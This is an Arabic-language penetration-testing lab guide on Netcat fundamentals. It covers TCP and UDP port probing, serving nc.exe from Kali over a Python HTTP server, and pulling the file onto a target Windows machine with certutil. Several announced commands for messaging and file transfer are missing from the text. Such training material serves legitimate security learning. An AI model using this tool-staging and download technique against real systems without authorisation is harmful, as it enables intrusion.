✨ المختبر1 : أساسيات Netcat (Netcat Fundamentals Lab)

🎯 الهدف الأساسي: فهم واستخدام Netcat لإنشاء الاتصالات، فحص المنافذ، نقل الملفات، وإنشاء صدفات (Shells).

🔧 الأدوات المستخدمة:

  • Netcat (NC)

  • Python (لخادم HTTP بسيط)

  • Windows Command Prompt (CMD)

📜 خطوات التنفيذ:

1. التعرف على Netcat وواجهتها:

  • 🗣️ لو أردت معرفة الخيارات المتاحة لـ Netcat على Kali Linux، فسوف تستخدم الأمر nc --help أو man nc.

    nc --help
    man nc

    🔗 ربط سلسلة الأدوات: هذه الخيارات أساسية لفهم كيفية استخدام Netcat في المراحل التالية من اللاب.

2. فحص المنافذ باستخدام Netcat (TCP): 🗣️ لو أردت التحقق مما إذا كان منفذ معين مفتوحاً على الهدف دون الاعتماد على Nmap، فسوف تحاول الاتصال به باستخدام Netcat. bash nc [عنوان IP الهدف] [المنفذ] # مثال: nc <Target_IP> 80 🗣️ إذا لم تحصل على أي مخرجات فورية، فيمكنك إضافة خيارات n- (لعدم حل DNS) وv- (للمخرجات التفصيلية). bash nc -nv [عنوان IP الهدف] 80 🗣️ لو أظهرت النتائج Connection refused، فهذا يعني أن المنفذ مغلق أو لا يوجد خدمة تستمع عليه. لو أظهرت Connected to...، فهذا يعني أن المنفذ مفتوح.

3. فحص المنافذ باستخدام Netcat (UDP): 🗣️ لو أردت فحص منافذ UDP بدلاً من TCP، فسوف تضيف الخيار -u. bash nc -nvu [عنوان IP الهدف] 161 # 161 هو منفذ SNMP الشائع

4. نقل ملفات Netcat التنفيذي إلى نظام Windows (من Linux): 🗣️ لتجهيز نظام Windows المستهدف لإنشاء الصدفات، يجب أولاً نقل ملف nc.exe إليه، حيث أنه ليس مدمجاً بشكل افتراضي في Windows.

  • تشغيل خادم HTTP بسيط على Kali Linux: 🗣️ لو أردت استضافة ملف nc.exe على Kali Linux، فسوف تتجه إلى المسار الذي يحتوي على نسخة Windows من Netcat وتشغل خادم HTTP بسيط.

    cd /usr/share/windows-resources/binaries/
    python3 -m http.server 80 # لـ Python 3
    # أو
    python -m SimpleHTTPServer 80 # لـ Python 2

    🔗 ربط سلسلة الأدوات: خادم HTTP هذا سيمكن نظام Windows من تنزيل nc.exe بسهولة.

  • تنزيل nc.exe على نظام Windows (باستخدام المتصفح أو CMD): 🗣️ من نظام Windows المستهدف، يمكنك تنزيل الملف عبر متصفح الويب أو سطر الأوامر.

    • باستخدام المتصفح:

      فتح المتصفح والانتقال إلى: http://[عنوان IP الخاص بـ Kali]/nc.exe
    • باستخدام CMD:

      certutil.exe -urlcache -f http://[عنوان IP الخاص بـ Kali]/nc.exe nc.exe

    🔑 المعلومة الذهبية: certutil.exe هي أداة مدمجة في Windows يمكن استخدامها لتنزيل الملفات عبر HTTP.

5. إرسال واستقبال الرسائل بين نظامين باستخدام Netcat: 🗣️ لو أردت إرسال رسائل نصية بين Kali Linux ونظام Windows، فسوف تشغل Netcat كمستمع على أحد النظامين وكعميل على الآخر.

  • على Kali Linux (المستمع):

  • على Windows (العميل):

    🗣️ بعد الاتصال، يمكنك كتابة الرسائل في أي من الطرفين وستظهر في الطرف الآخر.

6. نقل الملفات باستخدام Netcat: 🗣️ لو أردت نقل ملف من Kali Linux إلى نظام Windows، فسوف تشغل Netcat كمستمع ينتظر الملف على Windows وكعميل يرسل الملف على Kali Linux.

  • على Kali Linux (إنشاء الملف):

  • على Windows (المستمع الذي يستقبل الملف):

    🔗 ربط سلسلة الأدوات: علامة > في Windows توجه المخرجات إلى ملف، مما يعني أن أي بيانات يستقبلها Netcat ستُحفظ في received.txt.

  • على Kali Linux (المرسل الذي يرسل الملف):

    🔗 ربط سلسلة الأدوات: علامة < في Linux توجه محتويات الملف إلى مدخل Netcat، مما يجعلها ترسل عبر الاتصال.

نقاط التحقق:

  • تم تحديد عنوان IP للهدف.

  • تم فحص منافذ TCP وUDP باستخدام Netcat.

  • تم نقل ملف nc.exe إلى نظام Windows.

  • تم إرسال واستقبال الرسائل بنجاح بين Kali Linux وWindows.

  • تم نقل ملف test.txt من Kali Linux إلى Windows بنجاح.

Last updated